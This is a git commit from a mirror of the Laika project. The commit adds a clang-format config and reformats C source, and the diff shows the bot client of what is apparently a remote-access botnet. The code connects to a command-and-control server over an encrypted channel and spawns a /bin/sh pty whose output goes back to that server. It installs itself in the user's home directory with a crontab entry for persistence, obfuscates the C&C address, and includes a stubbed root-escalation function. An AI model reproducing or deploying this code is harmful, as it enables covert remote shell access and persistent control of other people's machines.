mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 12:40:04 +00:00
Added .clang-format, formatted codebase
This commit is contained in:
parent
1d6ce15b3d
commit
48fa8935c3
28
.clang-format
Normal file
28
.clang-format
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
---
|
||||||
|
Language: Cpp
|
||||||
|
# BasedOnStyle: Mozilla
|
||||||
|
AccessModifierOffset: -2
|
||||||
|
AlignAfterOpenBracket: Align
|
||||||
|
AlignArrayOfStructures: Right
|
||||||
|
AlignConsecutiveMacros: AcrossEmptyLinesAndComments
|
||||||
|
AlignConsecutiveAssignments: None
|
||||||
|
AlignConsecutiveBitFields: None
|
||||||
|
AlignConsecutiveDeclarations: None
|
||||||
|
AlignEscapedNewlines: Right
|
||||||
|
AlignOperands: Align
|
||||||
|
AlignTrailingComments: true
|
||||||
|
AllowAllArgumentsOnNextLine: true
|
||||||
|
AllowShortEnumsOnASingleLine: false
|
||||||
|
AllowShortFunctionsOnASingleLine: None
|
||||||
|
AllowShortBlocksOnASingleLine: Never
|
||||||
|
AllowShortIfStatementsOnASingleLine: Never
|
||||||
|
AlwaysBreakAfterReturnType: None
|
||||||
|
BreakBeforeBraces: Mozilla
|
||||||
|
IndentWidth: 4
|
||||||
|
ColumnLimit: 100
|
||||||
|
IncludeBlocks: Regroup
|
||||||
|
IndentPPDirectives: AfterHash
|
||||||
|
MacroBlockBegin: "^LAIKA_TRY$"
|
||||||
|
MacroBlockEnd: "^LAIKA_TRYEND$"
|
||||||
|
...
|
||||||
|
|
@ -3,14 +3,15 @@
|
|||||||
|
|
||||||
#include "laika.h"
|
#include "laika.h"
|
||||||
#include "lpacket.h"
|
#include "lpacket.h"
|
||||||
#include "lsocket.h"
|
|
||||||
#include "lpeer.h"
|
#include "lpeer.h"
|
||||||
#include "ltask.h"
|
|
||||||
#include "lpolllist.h"
|
#include "lpolllist.h"
|
||||||
|
#include "lsocket.h"
|
||||||
#include "lsodium.h"
|
#include "lsodium.h"
|
||||||
|
#include "ltask.h"
|
||||||
|
|
||||||
struct sLaika_shell;
|
struct sLaika_shell;
|
||||||
struct sLaika_bot {
|
struct sLaika_bot
|
||||||
|
{
|
||||||
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||||
struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
|
struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
|
||||||
struct sLaika_pollList pList;
|
struct sLaika_pollList pList;
|
||||||
@ -23,9 +24,11 @@ struct sLaika_bot {
|
|||||||
struct sLaika_bot *laikaB_newBot(void);
|
struct sLaika_bot *laikaB_newBot(void);
|
||||||
void laikaB_freeBot(struct sLaika_bot *bot);
|
void laikaB_freeBot(struct sLaika_bot *bot);
|
||||||
|
|
||||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
|
/* can throw a LAIKA_ERROR */
|
||||||
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port);
|
||||||
bool laikaB_poll(struct sLaika_bot *bot);
|
bool laikaB_poll(struct sLaika_bot *bot);
|
||||||
|
|
||||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
|
||||||
|
void *uData);
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -2,11 +2,13 @@
|
|||||||
#define LAIKA_SHELL_H
|
#define LAIKA_SHELL_H
|
||||||
|
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
#define LAIKA_SHELL_TASK_DELTA 50
|
#define LAIKA_SHELL_TASK_DELTA 50
|
||||||
|
|
||||||
struct sLaika_bot;
|
struct sLaika_bot;
|
||||||
struct sLaika_shell {
|
struct sLaika_shell
|
||||||
|
{
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -19,13 +21,15 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
|||||||
|
|
||||||
/* handles reading & writing to shell pipes */
|
/* handles reading & writing to shell pipes */
|
||||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
||||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
|
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf,
|
||||||
|
size_t length);
|
||||||
|
|
||||||
/* packet handlers */
|
/* packet handlers */
|
||||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||||
|
|
||||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||||
|
clock_t currTick, void *uData);
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -1,32 +1,35 @@
|
|||||||
/* platform specific code for achieving persistence on linux */
|
/* platform specific code for achieving persistence on linux */
|
||||||
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <sys/file.h>
|
|
||||||
#include <pwd.h>
|
|
||||||
|
|
||||||
#include "persist.h"
|
|
||||||
#include "lconfig.h"
|
|
||||||
#include "lsocket.h"
|
|
||||||
#include "lerror.h"
|
|
||||||
#include "lbox.h"
|
#include "lbox.h"
|
||||||
|
#include "lconfig.h"
|
||||||
|
#include "lerror.h"
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
|
#include "lsocket.h"
|
||||||
|
#include "persist.h"
|
||||||
|
|
||||||
|
#include <pwd.h>
|
||||||
|
#include <sys/file.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
static int laikaB_lockFile;
|
static int laikaB_lockFile;
|
||||||
|
|
||||||
/* check if laika is running as super-user */
|
/* check if laika is running as super-user */
|
||||||
bool laikaB_checkRoot() {
|
bool laikaB_checkRoot()
|
||||||
|
{
|
||||||
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
|
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
|
||||||
}
|
}
|
||||||
|
|
||||||
/* mark that laika is currently running */
|
/* mark that laika is currently running */
|
||||||
void laikaB_markRunning() {
|
void laikaB_markRunning()
|
||||||
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_LOCK_FILE);
|
{
|
||||||
|
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_LOCK_FILE);
|
||||||
|
|
||||||
/* create lock file */
|
/* create lock file */
|
||||||
if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
|
if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
|
||||||
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath);
|
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n",
|
||||||
|
filePath);
|
||||||
|
|
||||||
/* create lock */
|
/* create lock */
|
||||||
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
|
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
|
||||||
@ -37,7 +40,8 @@ void laikaB_markRunning() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* unmark that laika is currently running */
|
/* unmark that laika is currently running */
|
||||||
void laikaB_unmarkRunning() {
|
void laikaB_unmarkRunning()
|
||||||
|
{
|
||||||
/* close lock */
|
/* close lock */
|
||||||
if (flock(laikaB_lockFile, LOCK_UN) != 0)
|
if (flock(laikaB_lockFile, LOCK_UN) != 0)
|
||||||
LAIKA_ERROR("Failed to close file lock!\n");
|
LAIKA_ERROR("Failed to close file lock!\n");
|
||||||
@ -46,7 +50,8 @@ void laikaB_unmarkRunning() {
|
|||||||
LAIKA_DEBUG("file lock removed!\n");
|
LAIKA_DEBUG("file lock removed!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
void getCurrentExe(char *outPath, int pathSz) {
|
void getCurrentExe(char *outPath, int pathSz)
|
||||||
|
{
|
||||||
int sz;
|
int sz;
|
||||||
|
|
||||||
/* thanks linux :D */
|
/* thanks linux :D */
|
||||||
@ -56,7 +61,8 @@ void getCurrentExe(char *outPath, int pathSz) {
|
|||||||
outPath[sz] = '\0';
|
outPath[sz] = '\0';
|
||||||
}
|
}
|
||||||
|
|
||||||
void getInstallPath(char *outPath, int pathSz) {
|
void getInstallPath(char *outPath, int pathSz)
|
||||||
|
{
|
||||||
struct stat st;
|
struct stat st;
|
||||||
const char *home;
|
const char *home;
|
||||||
|
|
||||||
@ -66,8 +72,8 @@ void getInstallPath(char *outPath, int pathSz) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* create install directory if it doesn't exist */
|
/* create install directory if it doesn't exist */
|
||||||
LAIKA_BOX_SKID_START(char*, dirPath, LAIKA_LIN_INSTALL_DIR);
|
LAIKA_BOX_SKID_START(char *, dirPath, LAIKA_LIN_INSTALL_DIR);
|
||||||
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_INSTALL_FILE);
|
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_INSTALL_FILE);
|
||||||
snprintf(outPath, pathSz, "%s/%s", home, dirPath);
|
snprintf(outPath, pathSz, "%s/%s", home, dirPath);
|
||||||
if (stat(outPath, &st) == -1) {
|
if (stat(outPath, &st) == -1) {
|
||||||
LAIKA_DEBUG("creating '%s'...\n", outPath);
|
LAIKA_DEBUG("creating '%s'...\n", outPath);
|
||||||
@ -79,7 +85,8 @@ void getInstallPath(char *outPath, int pathSz) {
|
|||||||
LAIKA_BOX_SKID_END(filePath);
|
LAIKA_BOX_SKID_END(filePath);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool checkPersistCron(char *path) {
|
bool checkPersistCron(char *path)
|
||||||
|
{
|
||||||
char buf[PATH_MAX + 128];
|
char buf[PATH_MAX + 128];
|
||||||
FILE *fp;
|
FILE *fp;
|
||||||
bool res = false;
|
bool res = false;
|
||||||
@ -99,8 +106,9 @@ bool checkPersistCron(char *path) {
|
|||||||
return res;
|
return res;
|
||||||
}
|
}
|
||||||
|
|
||||||
void tryPersistCron(char *path) {
|
void tryPersistCron(char *path)
|
||||||
LAIKA_BOX_SKID_START(char*, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
|
{
|
||||||
|
LAIKA_BOX_SKID_START(char *, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
|
||||||
char cmd[PATH_MAX + 128];
|
char cmd[PATH_MAX + 128];
|
||||||
|
|
||||||
/* should be 'safe enough' */
|
/* should be 'safe enough' */
|
||||||
@ -115,7 +123,8 @@ void tryPersistCron(char *path) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* try to gain persistance on machine */
|
/* try to gain persistance on machine */
|
||||||
void laikaB_tryPersist() {
|
void laikaB_tryPersist()
|
||||||
|
{
|
||||||
char exePath[PATH_MAX];
|
char exePath[PATH_MAX];
|
||||||
char installPath[PATH_MAX];
|
char installPath[PATH_MAX];
|
||||||
|
|
||||||
@ -124,7 +133,8 @@ void laikaB_tryPersist() {
|
|||||||
getInstallPath(installPath, PATH_MAX);
|
getInstallPath(installPath, PATH_MAX);
|
||||||
|
|
||||||
/* move exe to install path (if it isn't there already) */
|
/* move exe to install path (if it isn't there already) */
|
||||||
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
|
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 &&
|
||||||
|
rename(exePath, installPath))
|
||||||
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
|
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
|
||||||
|
|
||||||
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
|
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
|
||||||
@ -139,6 +149,7 @@ void laikaB_tryPersist() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* try to gain root */
|
/* try to gain root */
|
||||||
void laikaB_tryRoot() {
|
void laikaB_tryRoot()
|
||||||
|
{
|
||||||
/* stubbed */
|
/* stubbed */
|
||||||
}
|
}
|
@ -1,29 +1,32 @@
|
|||||||
/* platform specific code for opening shells in linux */
|
/* platform specific code for opening shells in linux */
|
||||||
|
|
||||||
#include <unistd.h>
|
#include "bot.h"
|
||||||
#include <signal.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <pty.h>
|
|
||||||
|
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "ltask.h"
|
#include "ltask.h"
|
||||||
#include "bot.h"
|
|
||||||
#include "shell.h"
|
#include "shell.h"
|
||||||
|
|
||||||
|
#include <pty.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
#define LAIKA_LINSHELL_PATH "/bin/sh"
|
#define LAIKA_LINSHELL_PATH "/bin/sh"
|
||||||
|
|
||||||
struct sLaika_RAWshell {
|
struct sLaika_RAWshell
|
||||||
|
{
|
||||||
struct sLaika_shell _shell;
|
struct sLaika_shell _shell;
|
||||||
int pid;
|
int pid;
|
||||||
int fd;
|
int fd;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
|
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||||
|
{
|
||||||
struct winsize ws;
|
struct winsize ws;
|
||||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
struct sLaika_RAWshell *shell =
|
||||||
|
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||||
|
|
||||||
ws.ws_col = cols;
|
ws.ws_col = cols;
|
||||||
ws.ws_row = rows;
|
ws.ws_row = rows;
|
||||||
@ -32,21 +35,22 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
|||||||
|
|
||||||
if (shell->pid == 0) {
|
if (shell->pid == 0) {
|
||||||
/* child process, clone & run shell */
|
/* child process, clone & run shell */
|
||||||
execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL);
|
execlp(LAIKA_LINSHELL_PATH, "sh", (char *)NULL);
|
||||||
exit(0);
|
exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* make sure our calls to read() & write() do not block */
|
/* make sure our calls to read() & write() do not block */
|
||||||
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
||||||
laikaB_freeShell(bot, (struct sLaika_shell*)shell);
|
laikaB_freeShell(bot, (struct sLaika_shell *)shell);
|
||||||
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
|
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
|
||||||
}
|
}
|
||||||
|
|
||||||
return (struct sLaika_shell*)shell;
|
return (struct sLaika_shell *)shell;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
{
|
||||||
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||||
|
|
||||||
/* kill the shell */
|
/* kill the shell */
|
||||||
kill(shell->pid, SIGTERM);
|
kill(shell->pid, SIGTERM);
|
||||||
@ -57,13 +61,14 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
|||||||
|
|
||||||
/* ====================================[[ Shell Handlers ]]===================================== */
|
/* ====================================[[ Shell Handlers ]]===================================== */
|
||||||
|
|
||||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
{
|
||||||
|
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
|
||||||
struct sLaika_peer *peer = bot->peer;
|
struct sLaika_peer *peer = bot->peer;
|
||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||||
|
|
||||||
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
|
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t));
|
||||||
|
|
||||||
if (rd > 0) {
|
if (rd > 0) {
|
||||||
/* we read some input! send to cnc */
|
/* we read some input! send to cnc */
|
||||||
@ -82,10 +87,12 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
|
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
|
||||||
|
size_t length)
|
||||||
|
{
|
||||||
struct sLaika_peer *peer = bot->peer;
|
struct sLaika_peer *peer = bot->peer;
|
||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||||
size_t nLeft;
|
size_t nLeft;
|
||||||
int nWritten;
|
int nWritten;
|
||||||
|
|
||||||
|
@ -1,19 +1,23 @@
|
|||||||
|
#include "bot.h"
|
||||||
|
|
||||||
|
#include "lbox.h"
|
||||||
|
#include "lerror.h"
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "lsodium.h"
|
#include "lsodium.h"
|
||||||
#include "lerror.h"
|
|
||||||
#include "lbox.h"
|
|
||||||
#include "bot.h"
|
|
||||||
#include "shell.h"
|
#include "shell.h"
|
||||||
|
|
||||||
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
{
|
||||||
|
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||||
|
|
||||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||||
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
|
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
|
||||||
|
(endianness ? "TRUE" : "FALSE"));
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
|
{
|
||||||
LAIKA_DEBUG("got ping from cnc!\n");
|
LAIKA_DEBUG("got ping from cnc!\n");
|
||||||
/* stubbed */
|
/* stubbed */
|
||||||
}
|
}
|
||||||
@ -48,17 +52,19 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
|||||||
/* clang-format on */
|
/* clang-format on */
|
||||||
|
|
||||||
/* socket event */
|
/* socket event */
|
||||||
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
|
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData)
|
||||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
{
|
||||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
|
||||||
|
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||||
|
|
||||||
laikaS_kill(&bot->peer->sock);
|
laikaS_kill(&bot->peer->sock);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ==========================================[[ Bot ]]========================================== */
|
/* ==========================================[[ Bot ]]========================================== */
|
||||||
|
|
||||||
struct sLaika_bot *laikaB_newBot(void) {
|
struct sLaika_bot *laikaB_newBot(void)
|
||||||
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);
|
{
|
||||||
|
LAIKA_BOX_SKID_START(char *, cncPubKey, LAIKA_PUBKEY);
|
||||||
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
||||||
struct hostent *host;
|
struct hostent *host;
|
||||||
char *tempINBuf;
|
char *tempINBuf;
|
||||||
@ -66,16 +72,11 @@ struct sLaika_bot *laikaB_newBot(void) {
|
|||||||
int i;
|
int i;
|
||||||
|
|
||||||
laikaP_initPList(&bot->pList);
|
laikaP_initPList(&bot->pList);
|
||||||
bot->peer = laikaS_newPeer(
|
bot->peer =
|
||||||
laikaB_pktTbl,
|
laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot);
|
||||||
&bot->pList,
|
|
||||||
laikaB_onPollFail,
|
|
||||||
(void*)bot,
|
|
||||||
(void*)bot
|
|
||||||
);
|
|
||||||
|
|
||||||
laikaT_initTaskService(&bot->tService);
|
laikaT_initTaskService(&bot->tService);
|
||||||
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
|
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot);
|
||||||
|
|
||||||
/* init shells */
|
/* init shells */
|
||||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||||
@ -112,7 +113,7 @@ struct sLaika_bot *laikaB_newBot(void) {
|
|||||||
LAIKA_ERROR("gethostbyname() failed!\n");
|
LAIKA_ERROR("gethostbyname() failed!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
|
if ((tempINBuf = inet_ntoa(*((struct in_addr *)host->h_addr_list[0]))) == NULL) {
|
||||||
laikaB_freeBot(bot);
|
laikaB_freeBot(bot);
|
||||||
LAIKA_ERROR("inet_ntoa() failed!\n");
|
LAIKA_ERROR("inet_ntoa() failed!\n");
|
||||||
}
|
}
|
||||||
@ -123,7 +124,8 @@ struct sLaika_bot *laikaB_newBot(void) {
|
|||||||
return bot;
|
return bot;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_freeBot(struct sLaika_bot *bot) {
|
void laikaB_freeBot(struct sLaika_bot *bot)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
/* clear shells */
|
/* clear shells */
|
||||||
@ -138,7 +140,8 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
|
|||||||
laikaM_free(bot);
|
laikaM_free(bot);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port)
|
||||||
|
{
|
||||||
struct sLaika_socket *sock = &bot->peer->sock;
|
struct sLaika_socket *sock = &bot->peer->sock;
|
||||||
|
|
||||||
/* setup socket */
|
/* setup socket */
|
||||||
@ -153,17 +156,23 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
|||||||
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
||||||
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
||||||
laikaS_writeByte(sock, LAIKA_OSTYPE);
|
laikaS_writeByte(sock, LAIKA_OSTYPE);
|
||||||
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
|
|
||||||
|
/* write public key */
|
||||||
|
laikaS_write(sock, bot->pub, sizeof(bot->pub));
|
||||||
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
|
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
|
||||||
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
|
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
|
||||||
laikaS_endOutPacket(bot->peer);
|
laikaS_endOutPacket(bot->peer);
|
||||||
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
|
|
||||||
|
|
||||||
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
|
/* after the cnc receives our handshake, our packets will be encrypted */
|
||||||
|
laikaS_setSecure(bot->peer, true);
|
||||||
|
|
||||||
|
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv,
|
||||||
|
bot->peer->peerPub) != 0)
|
||||||
LAIKA_ERROR("failed to gen session key!\n");
|
LAIKA_ERROR("failed to gen session key!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaB_poll(struct sLaika_bot *bot) {
|
bool laikaB_poll(struct sLaika_bot *bot)
|
||||||
|
{
|
||||||
struct sLaika_pollEvent *evnt;
|
struct sLaika_pollEvent *evnt;
|
||||||
int numEvents;
|
int numEvents;
|
||||||
|
|
||||||
@ -184,8 +193,10 @@ bool laikaB_poll(struct sLaika_bot *bot) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
|
||||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
void *uData)
|
||||||
|
{
|
||||||
|
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||||
|
|
||||||
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
|
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
|
||||||
}
|
}
|
@ -1,26 +1,31 @@
|
|||||||
#include <stdio.h>
|
#include "bot.h"
|
||||||
|
|
||||||
#include "lbox.h"
|
#include "lbox.h"
|
||||||
#include "lconfig.h"
|
#include "lconfig.h"
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
#include "ltask.h"
|
#include "ltask.h"
|
||||||
#include "bot.h"
|
|
||||||
#include "shell.h"
|
|
||||||
#include "persist.h"
|
#include "persist.h"
|
||||||
|
#include "shell.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
# ifndef DEBUG
|
#ifndef DEBUG
|
||||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
||||||
# else
|
{
|
||||||
int main() {
|
|
||||||
# endif
|
|
||||||
#else
|
#else
|
||||||
int main() {
|
int main()
|
||||||
|
{
|
||||||
#endif
|
#endif
|
||||||
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time.
|
#else
|
||||||
not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */
|
int main()
|
||||||
LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP);
|
{
|
||||||
LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT);
|
#endif
|
||||||
|
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left
|
||||||
|
in memory the entire time.
|
||||||
|
